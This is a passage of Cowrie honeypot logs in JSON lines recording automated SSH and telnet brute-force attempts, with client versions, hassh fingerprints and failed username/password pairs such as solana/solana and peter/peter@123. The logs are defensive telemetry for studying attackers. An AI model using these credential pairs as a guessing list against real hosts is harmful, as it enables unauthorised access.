iffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:31:40.060008Z","src_ip":"159.65.30.211","session":"dd4e741ae69d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fida","password":"fida2017!","message":"login attempt [fida/fida2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:31:40.199691Z","src_ip":"159.65.30.211","session":"dd4e741ae69d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:31:41.270212Z","src_ip":"159.65.30.211","session":"dd4e741ae69d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45314,"dst_ip":"10.17.0.5","dst_port":22,"session":"850752218dc3","protocol":"ssh","message":"New connection: 2.57.122.208:45314 (10.17.0.5:22) [session: 850752218dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:32:58.835255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:32:58.872732Z","src_ip":"2.57.122.208","session":"850752218dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:32:59.048760Z","src_ip":"2.57.122.208","session":"850752218dc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:32:59.540945Z","src_ip":"2.57.122.208","session":"850752218dc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:00.650410Z","src_ip":"2.57.122.208","session":"850752218dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":36106,"dst_ip":"10.17.0.5","dst_port":22,"session":"b063d854cdcb","protocol":"ssh","message":"New connection: 152.32.129.186:36106 (10.17.0.5:22) [session: b063d854cdcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:01.481479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:01.486376Z","src_ip":"152.32.129.186","session":"b063d854cdcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:01.704765Z","src_ip":"152.32.129.186","session":"b063d854cdcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:02.612658Z","src_ip":"152.32.129.186","session":"b063d854cdcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":51120,"dst_ip":"10.17.0.5","dst_port":22,"session":"eefd79c7b921","protocol":"ssh","message":"New connection: 103.13.206.100:51120 (10.17.0.5:22) [session: eefd79c7b921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:03.736428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:03.740503Z","src_ip":"103.13.206.100","session":"eefd79c7b921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:03.833331Z","src_ip":"152.32.129.186","session":"b063d854cdcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:03.976948Z","src_ip":"103.13.206.100","session":"eefd79c7b921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peter","password":"peter@123","message":"login attempt [peter/peter@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:04.961023Z","src_ip":"103.13.206.100","session":"eefd79c7b921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:33:06.201121Z","src_ip":"103.13.206.100","session":"eefd79c7b921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":38188,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f2d395e40a5","protocol":"telnet","message":"New connection: 130.12.180.174:38188 (10.17.0.5:23) [session: 5f2d395e40a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:34:14.597409Z"}
{"eventid":"cowrie.session.closed","duration":0.5009467601776123,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:34:15.098256Z","src_ip":"130.12.180.174","session":"5f2d395e40a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":37368,"dst_ip":"10.17.0.5","dst_port":22,"session":"212bb109e7ac","protocol":"ssh","message":"New connection: 152.32.129.186:37368 (10.17.0.5:22) [session: 212bb109e7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:34:52.905756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:34:52.910064Z","src_ip":"152.32.129.186","session":"212bb109e7ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:34:53.127145Z","src_ip":"152.32.129.186","session":"212bb109e7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"isaac","password":"12345678","message":"login attempt [isaac/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:34:54.026840Z","src_ip":"152.32.129.186","session":"212bb109e7ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:34:55.246372Z","src_ip":"152.32.129.186","session":"212bb109e7ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46546,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d71853ae268","protocol":"ssh","message":"New connection: 2.57.122.208:46546 (10.17.0.5:22) [session: 8d71853ae268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:35:20.521086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:35:20.526423Z","src_ip":"2.57.122.208","session":"8d71853ae268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:35:20.630146Z","src_ip":"2.57.122.208","session":"8d71853ae268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:35:21.061472Z","src_ip":"2.57.122.208","session":"8d71853ae268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:35:22.348951Z","src_ip":"2.57.122.208","session":"8d71853ae268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":58454,"dst_ip":"159.203.135.109","dst_port":22,"session":"e86132601a6b","protocol":"ssh","message":"New connection: 103.59.94.117:58454 (159.203.135.109:22) [session: e86132601a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:35:43.864610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:35:43.868901Z","src_ip":"103.59.94.117","session":"e86132601a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:35:44.119416Z","src_ip":"103.59.94.117","session":"e86132601a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myftp","password":"myftp123!","message":"login attempt [myftp/myftp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:35:45.138773Z","src_ip":"103.59.94.117","session":"e86132601a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:35:46.388780Z","src_ip":"103.59.94.117","session":"e86132601a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":33718,"dst_ip":"10.17.0.5","dst_port":22,"session":"7554c73278dc","protocol":"ssh","message":"New connection: 103.13.206.100:33718 (10.17.0.5:22) [session: 7554c73278dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:17.434307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:17.438911Z","src_ip":"103.13.206.100","session":"7554c73278dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:17.662841Z","src_ip":"103.13.206.100","session":"7554c73278dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"radio","password":"radio123","message":"login attempt [radio/radio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:18.591449Z","src_ip":"103.13.206.100","session":"7554c73278dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:19.817747Z","src_ip":"103.13.206.100","session":"7554c73278dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":52546,"dst_ip":"10.17.0.5","dst_port":22,"session":"807d1574655b","protocol":"ssh","message":"New connection: 77.90.185.17:52546 (10.17.0.5:22) [session: 807d1574655b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:25.393724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:36:25.400530Z","src_ip":"77.90.185.17","session":"807d1574655b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 